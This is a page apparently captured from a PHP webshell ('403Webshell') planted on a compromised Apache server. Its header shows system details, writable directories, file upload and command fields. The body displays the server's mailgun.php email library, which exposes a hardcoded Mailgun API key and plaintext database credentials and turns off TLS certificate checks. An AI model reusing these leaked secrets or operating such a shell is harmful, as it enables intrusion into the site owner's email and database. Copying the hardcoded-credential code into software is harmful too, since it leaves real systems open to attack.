403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/usagrantapplication.org/vx/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/usagrantapplication.org/vx/lib/mailgun.php
<?php
/**
 * Figures Out the mime type from an extension
 *
 * @param string $file the filepath
 * @return string the mime type of that file
 * */
if(!function_exists('system_extension_mime_types')) {
	function system_extension_mime_types() {
		$out = array();
		$file = fopen('/etc/mime.types', 'r');
		while(($line = fgets($file)) !== false) {
			$line = trim(preg_replace('/#.*/', '', $line));
			if(!$line)
				continue;
			$parts = preg_split('/\s+/', $line);
			if(count($parts) == 1)
				continue;
			$type = array_shift($parts);
			foreach($parts as $part)
				$out[$part] = $type;
		}
		fclose($file);
		return $out;
	}
}

if(!function_exists('system_extension_mime_type')) {
	function system_extension_mime_type($file) {
		# Returns the system MIME type (as defined in /etc/mime.types) for the filename specified.
		#
		# $file - the filename to examine
		static $types;
		if(!isset($types))
			$types = system_extension_mime_types();
		$ext = pathinfo($file, PATHINFO_EXTENSION);
		if(!$ext)
			$ext = $file;
		$ext = strtolower($ext);
		return isset($types[$ext]) ? $types[$ext] : null;
	}
}

if (!function_exists('curl_file_create')) {
    function curl_file_create($filename, $mimetype = '', $postname = '') {
        return "@$filename;filename="
            . ($postname ?: basename($filename))
            . ($mimetype ? ";type=$mimetype" : '');
    }
}

if(!function_exists('ICSGenerator')) {
	function ICSGenerator($start,$end,$name='',$description='',$location='',$who='',$who_email='') {
		if(date('I')*1) {
			$start = date('Y-m-d H:i:s',strtotime('+6 hour',strtotime($start)));
			$end = date('Y-m-d H:i:s',strtotime('+6 hour',strtotime($end)));
		} else {
			$start = date('Y-m-d H:i:s',strtotime('+7 hour',strtotime($start)));
			$end = date('Y-m-d H:i:s',strtotime('+7 hour',strtotime($end)));
		}
		$filename = '/tmp/'.microtime().'.ics';
		file_put_contents($filename,"BEGIN:VCALENDAR\nVERSION:2.0\nMETHOD:PUBLISH\nBEGIN:VEVENT\nDTSTART:".date("Ymd\THis\Z",strtotime($start))."\nDTEND:".date("Ymd\THis\Z",strtotime($end))."\nORGANIZER;CN=".$who.":MAILTO:".$who_email."\nLOCATION:".$location."\nTRANSP: OPAQUE\nSEQUENCE:0\nUID:\nDTSTAMP:".date("Ymd\THis\Z")."\nSUMMARY:".$name."\nDESCRIPTION:".$description."\nPRIORITY:5\nCLASS:PUBLIC\nBEGIN:VALARM\nTRIGGER:-PT10M\nACTION:DISPLAY\nDESCRIPTION:Reminder\nEND:VALARM\nEND:VEVENT\nEND:VCALENDAR\n");
		return $filename;
	}
}

/**
 * Sends an email using mailgun.org for tracking and stuff
 *
 * @param string $to The email address you are sending the email to
 * @param string $from The email address you are sending the email from (support@americasgotfunding.com)
 * @param string $subject The subject of the email
 * @param string $message The body of the email you are sending
 * @param boolean $is_html Is the message html. Set to false for plaintext.
 * @param string $tag A tag for tracking this email (confirmation, renewal, newsletter, etc)
 * @param string $cc A comma delimited list of emails to cc on the email
 * @param string $bcc A comma delimited list of emails to bcc on the email
 * @param string $site_code The site code for this client (agg, nusaf, etc)
 * @param int $client_id The client id for this client
 * @param int $attachments An array of strings that are filepaths
 * @return object Returns an object with id (auto generated email id), message (either an error message, or a confirmation message), and status (Success or Fail)
 * */
if(!function_exists('mailgun_send_message')) {
	function mailgun_send_message($to='',$from='',$subject='',$message='',$is_html=0,$tag='',$cc='',$bcc='',$site_code='',$client_id=0,$attachments = array(),$replyTo='',$maskReplyTo=0,$is_marketing=false) {
		$arr = explode('@',$from);
		$domain = 'mg.'.$arr[1];
		if(strpos($from,'<')!==false) {
			$email = preg_match('/.*<(.*)>.*/',$from,$matches);
			$arr = explode('@',$matches[1]);
			$domain = 'mg.'.$arr[1];
		}
		$post = array();
		$post['from'] = $from;
		$post['h:sender'] = $from;
		$post['to'] = $to;
		$post['subject'] = $subject;
		if($is_html) {
			$plain = strip_tags(str_replace('</p',"\n</p",str_replace('<br',"\n<br",$message)));
			if(strpos($message,'<!DOCTYPE')===false) {
				if(strpos($message,'<html>')===false) {
					$message = '<!DOCTYPE HTML><html><head></head><body>'.$message.'</body></html>';
				} else {
					$message = '<!DOCTYPE HTML>'.$message;
				}
			}
			$post['html'] = $message;
			$post['text'] = $plain;
		} else {
			$post['text'] = $message;
		}
		if(!empty($tag)) {
			$post['o:tag'] = $tag;
		}
		if(!empty($cc)) {
			$post['cc'] = $cc;
		}
		if(!empty($bcc)) {
			$post['bcc'] = $bcc;
		}
		if(!empty($attachments)) {
			foreach($attachments as $k=>$v) {
				$post['attachment['.$k.']'] = curl_file_create($v,system_extension_mime_type($v),basename($v));
			}
		}
		if(!empty($replyTo)) {
			$post['h:Reply-To'] = $replyTo;
			if($maskReplyTo==1) {
				$post['from'] = $replyTo;
			}
		}
		$ip = '204.220.186.124'; //default non marketing, non coaching, non asap
		if(!empty($is_marketing)) {
			$rand = rand(1,2);
			if($rand==1) {
				$ip = '159.135.229.179';
			} else {
				$ip = '204.220.179.252';
			}
		} else {
			$coaching_ip_domains = array(
				'mg.usbusinessfundingsolutions.com'
				,'mg.americansocietyap.org'
				,'mg.americansocietyforassetprotection.com'
				,'mg.assetspeaker.com'
				,'mg.blueprintnow.com'
				,'mg.improvedpatientcare.org'
			);
			if(in_array($domain,$coaching_ip_domains)) {
				$ip = '204.220.179.12';
			}
		}
		if(!empty($ip)) {
			$post['o:sending-ip'] = $ip;
		}
		$ch = curl_init();
		curl_setopt($ch, CURLOPT_URL, 'https://api.mailgun.net/v3/'.$domain.'/messages');
		curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
		curl_setopt($ch, CURLOPT_USERPWD, 'api:key-99068d6d99148b8d743a828fcb233242');
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
		curl_setopt($ch, CURLOPT_TIMEOUT, 60);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
		curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
		curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
		
		$data = curl_exec($ch);
		$info = curl_getinfo($ch);
		curl_close($ch);
		unset($ch);
		
		$return = json_decode($data);
		$return->status = ($info['http_code']=='200') ? 'Success' : 'Fail';
		include_once($_SERVER['DOCUMENT_ROOT'].'/vx/lib/mysql.php');
		$mailgun_db = new MySQL('db.syndbs.com', 'lc2user', 'SYN57CRUZ', 'lc2admin');
		$mailgun_id = str_replace('<','',str_replace('>','',$return->id));
		$mailgun_db->query("INSERT INTO mailgun.sent_emails
					(
						site_code
						,client_id
						,email_type
						,sent_date
						,mailgun_id
						,email_sent_to
					) VALUES (
						'".$mailgun_db->clean($site_code)."'
						,'".$mailgun_db->clean($client_id)."'
						,'".$mailgun_db->clean($tag)."'
						,NOW()
						,'".$mailgun_db->clean($mailgun_id)."'
						,'".$mailgun_db->clean($to)."'
					)");
		$message_id = $mailgun_db->last_insert_id();
		$mailgun_db->query("INSERT INTO mailgun.sent_emails_actual_email
				(
					email_id
					,email_to
					,email_from
					,email_subject
					,email_body
					,email_cc
				) VALUES (
					'".$mailgun_db->clean($message_id)."'
					,'".$mailgun_db->clean($to)."'
					,'".$mailgun_db->clean($from)."'
					,'".$mailgun_db->clean($subject)."'
					,'".$mailgun_db->clean($message)."'
					,'".$mailgun_db->clean($cc)."'
				)");
		if($return->status=='Fail') {
			$mailgun_db->query("INSERT INTO mailgun.email_actions
						(
							mailgun_id
							,action
							,response
							,ts
						) VALUES (
							'".$mailgun_db->clean($mailgun_id)."'
							,'Sending to Mailgun'
							,'Fail'
							,NOW()
						)");
		}
		return $return;
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit